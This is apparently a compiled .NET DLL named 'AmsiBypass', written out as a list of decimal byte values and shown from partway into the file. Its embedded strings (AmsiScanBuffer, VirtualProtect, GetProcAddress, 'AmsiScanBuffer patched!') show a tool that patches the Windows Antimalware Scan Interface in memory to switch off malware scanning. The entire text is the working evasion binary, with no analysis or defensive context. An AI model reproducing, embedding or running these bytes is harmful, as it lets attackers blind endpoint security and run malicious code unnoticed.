66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 44, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 64, 33, 0, 0, 236, 9, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 4, 0, 217, 0, 0, 0, 1, 0, 0, 17, 0, 114, 1, 0, 0, 112, 40, 1, 0, 0, 6, 10, 6, 126, 12, 0, 0, 10, 40, 13, 0, 0, 10, 19, 6, 17, 6, 44, 20, 0, 114, 19, 0, 0, 112, 40, 14, 0, 0, 10, 0, 23, 19, 7, 56, 165, 0, 0, 0, 6, 114, 107, 0, 0, 112, 40, 2, 0, 0, 6, 11, 7, 126, 12, 0, 0, 10, 40, 13, 0, 0, 10, 19, 8, 17, 8, 44, 17, 0, 114, 137, 0, 0, 112, 40, 14, 0, 0, 10, 0, 23, 19, 7, 43, 119, 26, 106, 40, 15, 0, 0, 10, 12, 22, 13, 7, 8, 31, 64, 18, 3, 40, 3, 0, 0, 6, 22, 254, 1, 19, 9, 17, 9, 44, 17, 0, 114, 255, 0, 0, 112, 40, 14, 0, 0, 10, 0, 23, 19, 7, 43, 72, 25, 141, 18, 0, 0, 1, 37, 208, 1, 0, 0, 4, 40, 16, 0, 0, 10, 19, 4, 25, 40, 17, 0, 0, 10, 19, 5, 17, 4, 22, 17, 5, 25, 40, 18, 0, 0, 10, 0, 7, 31, 27, 40, 19, 0, 0, 10, 17, 5, 25, 40, 4, 0, 0, 6, 0, 114, 117, 1, 0, 112, 40, 14, 0, 0, 10, 0, 22, 19, 7, 43, 0, 17, 7, 42, 34, 2, 40, 20, 0, 0, 10, 0, 42, 0, 0, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 212, 2, 0, 0, 35, 126, 0, 0, 64, 3, 0, 0, 176, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 240, 6, 0, 0, 204, 1, 0, 0, 35, 85, 83, 0, 188, 8, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 204, 8, 0, 0, 32, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 87, 149, 2, 52, 9, 2, 0, 0, 0, 250, 1, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 4, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0, 10, 0, 0, 0, 20, 0, 0, 0, 11, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 85, 2, 1, 0, 0, 0, 0, 0, 6, 0, 141, 1, 206, 2, 6, 0, 223, 1, 206, 2, 6, 0, 231, 0, 156, 2, 15, 0, 238, 2, 0, 0, 6, 0, 18, 1, 14, 2, 6, 0, 198, 1, 107, 2, 6, 0, 110, 1, 107, 2, 6, 0, 43, 1, 107, 2, 6, 0, 72, 1, 107, 2, 6, 0, 173, 1, 107, 2, 6, 0, 251, 0, 107, 2, 6, 0, 48, 3, 100, 2, 6, 0, 204, 0, 206, 2, 6, 0, 194, 0, 100, 2, 6, 0, 149, 2, 100, 2, 6, 0, 154, 0, 100, 2, 6, 0, 148, 2, 100, 2, 6, 0, 253, 1, 100, 2, 6, 0, 253, 2, 206, 2, 6, 0, 125, 3, 100, 2, 6, 0, 135, 0, 100, 2, 6, 0, 64, 2, 175, 2, 0, 0, 0, 0, 38, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 46, 2, 16, 3, 49, 0, 1, 0, 1, 0, 0, 1, 0, 0, 47, 0, 0, 0, 49, 0, 1, 0, 7, 0, 19, 1, 0, 0, 10, 0, 0, 0, 57, 0, 2, 0, 7, 0, 51, 1, 78, 0, 91, 0, 0, 0, 0, 0, 128, 0, 150, 32, 136, 3, 95, 0, 1, 0, 0, 0, 0, 0, 128, 0, 150, 32, 23, 3, 100, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 70, 3, 106, 0, 4, 0, 0, 0, 0, 0, 128, 0, 145, 32, 151, 3, 115, 0, 8, 0, 80, 32, 0, 0, 0, 0, 150, 0, 40, 2, 122, 0, 11, 0, 53, 33, 0, 0, 0, 0, 134, 24, 142, 2, 6, 0, 11, 0, 0, 0, 1, 0, 179, 0, 0, 0, 1, 0, 162, 0, 0, 0, 2, 0, 170, 0, 0, 0, 1, 0, 38, 3, 0, 0, 2, 0, 2, 2, 0, 0, 3, 0, 85, 3, 2, 0, 4, 0, 55, 3, 0, 0, 1, 0, 110, 3, 0, 0, 2, 0, 119, 0, 0, 0, 3, 0, 9, 2, 9, 0, 142, 2, 1, 0, 17, 0, 142, 2, 6, 0, 25, 0, 142, 2, 10, 0, 41, 0, 142, 2, 16, 0, 49, 0, 142, 2, 16, 0, 57, 0, 142, 2, 16, 0, 65, 0, 142, 2, 16, 0, 73, 0, 142, 2, 16, 0, 81, 0, 142, 2, 16, 0, 89, 0, 142, 2, 16, 0, 105, 0, 142, 2, 6, 0, 121, 0, 137, 2, 35, 0, 121, 0, 162, 3, 38, 0, 129, 0, 184, 0, 44, 0, 137, 0, 98, 3, 49, 0, 153, 0, 115, 3, 54, 0, 177, 0, 51, 2, 62, 0, 177, 0, 131, 3, 67, 0, 121, 0, 125, 2, 76, 0, 97, 0, 142, 2, 6, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 135, 0, 46, 0, 27, 0, 166, 0, 46, 0, 35, 0, 175, 0, 46, 0, 43, 0, 230, 0, 46, 0, 51, 0, 246, 0, 46, 0, 59, 0, 1, 1, 46, 0, 67, 0, 14, 1, 46, 0, 75, 0, 230, 0, 46, 0, 83, 0, 230, 0, 99, 0, 91, 0, 25, 1, 1, 0, 3, 0, 0, 0, 4, 0, 21, 0, 1, 0, 72, 2, 0, 1, 3, 0, 136, 3, 1, 0, 0, 1, 5, 0, 23, 3, 1, 0, 0, 1, 7, 0, 70, 3, 1, 0, 0, 1, 9, 0, 148, 3, 2, 0, 100, 44, 0, 0, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 3, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 123, 0, 0, 0, 0, 0, 4, 0, 3, 0, 0, 0, 0, 0, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 95, 95, 83, 116, 97, 116, 105, 99, 65, 114, 114, 97, 121, 73, 110, 105, 116, 84, 121, 112, 101, 83, 105, 122, 101, 61, 51, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 60, 80, 114, 105, 118, 97, 116, 101, 73, 109, 112, 108, 101, 109, 101, 110, 116, 97, 116, 105, 111, 110, 68, 101, 116, 97, 105, 108, 115, 62, 0, 53, 49, 67, 65, 70, 66, 52, 56, 49, 51, 57, 66, 48, 50, 69, 48, 54, 49, 68, 52, 57, 49, 57, 67, 53, 49, 55, 54, 54, 50, 49, 66, 70, 56, 55, 68, 65, 67, 69, 68, 0, 115, 114, 99, 0, 110, 101, 116, 115, 116, 97, 110, 100, 97, 114, 100, 0, 82, 117, 110, 116, 105, 109, 101, 70, 105, 101, 108, 100, 72, 97, 110, 100, 108, 101, 0, 67, 111, 110, 115, 111, 108, 101, 0, 104, 77, 111, 100, 117, 108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 110, 97, 109, 101, 0, 87, 114, 105, 116, 101, 76, 105, 110, 101, 0, 86, 97, 108, 117, 101, 84, 121, 112, 101, 0, 67, 111, 109, 112, 105, 108, 101, 114, 71, 101, 110, 101, 114, 97, 116, 101, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 70, 105, 108, 101, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 97, 108, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 66, 121, 116, 101, 0, 100, 119, 83, 105, 122, 101, 0, 115, 105, 122, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 80, 97, 116, 99, 104, 0, 65, 109, 115, 105, 0, 65, 108, 108, 111, 99, 72, 71, 108, 111, 98, 97, 108, 0, 77, 97, 114, 115, 104, 97, 108, 0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 46, 100, 108, 108, 0, 83, 121, 115, 116, 101, 109, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 111, 112, 95, 65, 100, 100, 105, 116, 105, 111, 110, 0, 90, 101, 114, 111, 0, 46, 99, 116, 111, 114, 0, 85, 73, 110, 116, 80, 116, 114, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 82, 117, 110, 116, 105, 109, 101, 72, 101, 108, 112, 101, 114, 115, 0, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 79, 98, 106, 101, 99, 116, 0, 108, 112, 102, 108, 79, 108, 100, 80, 114, 111, 116, 101, 99, 116, 0, 86, 105, 114, 116, 117, 97, 108, 80, 114, 111, 116, 101, 99, 116, 0, 102, 108, 78, 101, 119, 80, 114, 111, 116, 101, 99, 116, 0, 111, 112, 95, 69, 120, 112, 108, 105, 99, 105, 116, 0, 100, 101, 115, 116, 0, 73, 110, 105, 116, 105, 97, 108, 105, 122, 101, 65, 114, 114, 97, 121, 0, 67, 111, 112, 121, 0, 76, 111, 97, 100, 76, 105, 98, 114, 97, 114, 121, 0, 82, 116, 108, 77, 111, 118, 101, 77, 101, 109, 111, 114, 121, 0, 111, 112, 95, 69, 113, 117, 97, 108, 105, 116, 121, 0, 0, 0, 0, 17, 97, 0, 109, 0, 115, 0, 105, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 87, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 114, 0, 101, 0, 116, 0, 114, 0, 105, 0, 101, 0, 118, 0, 101, 0, 32, 0, 97, 0, 109, 0, 115, 0, 105, 0, 46, 0, 100, 0, 108, 0, 108, 0, 32, 0, 112, 0, 111, 0, 105, 0, 110, 0, 116, 0, 101, 0, 114, 0, 33, 0, 0, 29, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 0, 117, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 114, 0, 101, 0, 116, 0, 114, 0, 105, 0, 101, 0, 118, 0, 101, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 102, 0, 117, 0, 110, 0, 99, 0, 116, 0, 105, 0, 111, 0, 110, 0, 32, 0, 112, 0, 111, 0, 105, 0, 110, 0, 116, 0, 101, 0, 114, 0, 33, 0, 0, 117, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 109, 0, 111, 0, 100, 0, 105, 0, 102, 0, 121, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 109, 0, 101, 0, 109, 0, 111, 0, 114, 0, 121, 0, 32, 0, 112, 0, 101, 0, 114, 0, 109, 0, 105, 0, 115, 0, 115, 0, 105, 0, 111, 0, 110, 0, 115, 0, 33, 0, 0, 83, 71, 0, 114, 0, 101, 0, 97, 0, 116, 0, 32, 0, 115, 0, 117, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 46, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 112, 0, 97, 0, 116, 0, 99, 0, 104, 0, 101, 0, 100, 0, 33, 0, 32, 0, 58, 0, 41, 0, 0, 0, 0, 0, 94, 196, 134, 67, 207, 43, 76, 71, 180, 110, 209, 17, 221, 107, 164, 138, 0, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 32, 1, 1, 17, 17, 4, 32, 1, 1, 14, 13, 7, 10, 24, 24, 25, 9, 29, 5, 24, 2, 8, 2, 2, 2, 6, 24, 5, 0, 2, 2, 24, 24, 4, 0, 1, 1, 14, 4, 0, 1, 25, 11, 7, 0, 2, 1, 18, 81, 17, 85, 4, 0, 1, 24, 8, 8, 0, 4, 1, 29, 5, 8, 24, 8, 5, 0, 2, 24, 24, 8, 8, 204, 123, 19, 255, 205, 45, 221, 81, 3, 6, 17, 16, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 4, 2, 24, 25, 9, 16, 9, 6, 0, 3, 1, 24, 24, 8, 3, 0, 0, 8, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 8, 1, 0, 7, 1, 0, 0, 0, 0, 54, 1, 0, 25, 46, 78, 69, 84, 83, 116, 97, 110, 100, 97, 114, 100, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 50, 46, 48, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 15, 1, 0, 10, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 0, 0, 10, 1, 0, 5, 68, 101, 98, 117, 103, 0, 0, 12, 1, 0, 7, 49, 46, 48, 46, 48, 46, 48, 0, 0, 10, 1, 0, 5, 49, 46, 48, 46, 48, 0, 0, 4, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 92, 168, 168, 0, 1, 77, 80, 2, 0, 0, 0, 100, 0, 0, 0, 128, 43, 0, 0, 128, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 19, 0, 0, 0, 39, 0, 0, 0, 228, 43, 0, 0, 228, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 83, 68, 83, 215, 18, 206, 3, 139, 112, 185, 73, 189, 89, 99, 32, 233, 159, 0, 221, 1, 0, 0, 0, 47, 111, 112, 116, 47, 80, 114, 111, 106, 101, 99, 116, 115, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 47, 111, 98, 106, 47, 68, 101, 98, 117, 103, 47, 110, 101, 116, 115, 116, 97, 110, 100, 97, 114, 100, 50, 46, 48, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 46, 112, 100, 98, 0, 83, 72, 65, 50, 53, 54, 0, 215, 18, 206, 3, 139, 112, 185, 169, 125, 89, 99, 32, 233, 159, 0, 221, 32, 92, 168, 40, 54, 252, 229, 155, 150, 128, 72, 101, 126, 213, 146, 143, 51, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 77, 44, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111, 114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100, 108, 108, 0, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 49, 255, 144, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 212, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 212, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 52, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 16, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 54, 0, 11, 0, 1, 0, 67, 0, 111, 0, 109, 0, 112, 0, 97, 0, 110, 0, 121, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 62, 0, 11, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 48, 0, 8, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 62, 0, 15, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 40, 0, 2, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 32, 0, 0, 0, 70, 0, 15, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 54, 0, 11, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 48, 0, 6, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 56, 0, 8, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 12, 0, 0, 0, 96, 60, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 